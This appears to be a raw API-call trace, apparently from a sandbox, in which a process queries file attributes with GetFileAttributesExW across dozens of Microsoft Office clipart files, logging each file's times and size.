	[0051.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3728 | out: lpFileInformation=0x124c3728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18)) returned 1
	[0051.504] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3778 | out: lpFileInformation=0x124c3778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484)) returned 1
	[0051.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c37c8 | out: lpFileInformation=0x124c37c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4)) returned 1
	[0051.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3818 | out: lpFileInformation=0x124c3818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dbde600, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6dbde600, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x302c)) returned 1
	[0051.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3868 | out: lpFileInformation=0x124c3868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2004)) returned 1
	[0051.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c38b8 | out: lpFileInformation=0x124c38b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c)) returned 1
	[0051.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3958 | out: lpFileInformation=0x124c3958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0)) returned 1
	[0051.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c39a8 | out: lpFileInformation=0x124c39a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c)) returned 1
	[0051.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c39f8 | out: lpFileInformation=0x124c39f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46)) returned 1
	[0051.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3a48 | out: lpFileInformation=0x124c3a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a)) returned 1
	[0051.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3a98 | out: lpFileInformation=0x124c3a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0)) returned 1
	[0051.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3ae8 | out: lpFileInformation=0x124c3ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08)) returned 1
	[0051.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3b38 | out: lpFileInformation=0x124c3b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398)) returned 1
	[0051.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3b88 | out: lpFileInformation=0x124c3b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e)) returned 1
	[0051.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3bd8 | out: lpFileInformation=0x124c3bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e)) returned 1
	[0051.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3c28 | out: lpFileInformation=0x124c3c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36)) returned 1
	[0051.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124c3c78 | out: lpFileInformation=0x124c3c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e)) returned 1
	[0051.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3cc8 | out: lpFileInformation=0x124c3cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74)) returned 1
	[0051.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3d18 | out: lpFileInformation=0x124c3d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e)) returned 1
	[0051.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3d68 | out: lpFileInformation=0x124c3d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc)) returned 1
	[0051.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3db8 | out: lpFileInformation=0x124c3db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a)) returned 1
	[0051.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3e08 | out: lpFileInformation=0x124c3e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c)) returned 1
	[0051.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3e58 | out: lpFileInformation=0x124c3e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a)) returned 1
	[0051.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3ea8 | out: lpFileInformation=0x124c3ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c)) returned 1
	[0051.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3ef8 | out: lpFileInformation=0x124c3ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00)) returned 1
	[0051.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3f48 | out: lpFileInformation=0x124c3f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6)) returned 1
	[0051.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124c3f98 | out: lpFileInformation=0x124c3f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa)) returned 1
	[0051.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e008 | out: lpFileInformation=0x1274e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c)) returned 1
	[0051.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215076.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e058 | out: lpFileInformation=0x1274e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50)) returned 1
	[0051.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215210.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e0a8 | out: lpFileInformation=0x1274e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce)) returned 1
	[0051.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e0f8 | out: lpFileInformation=0x1274e0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a)) returned 1
	[0051.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e148 | out: lpFileInformation=0x1274e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2)) returned 1
	[0051.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e198 | out: lpFileInformation=0x1274e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2)) returned 1
	[0051.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274e1e8 | out: lpFileInformation=0x1274e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783)) returned 1
	[0051.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274e238 | out: lpFileInformation=0x1274e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474)) returned 1
	[0051.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e288 | out: lpFileInformation=0x1274e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488)) returned 1
	[0051.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216570.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e2d8 | out: lpFileInformation=0x1274e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc)) returned 1
	[0051.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e328 | out: lpFileInformation=0x1274e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46)) returned 1
	[0051.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e378 | out: lpFileInformation=0x1274e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2)) returned 1
	[0051.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e3c8 | out: lpFileInformation=0x1274e3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a)) returned 1
	[0051.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1274e418 | out: lpFileInformation=0x1274e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484)) returned 1
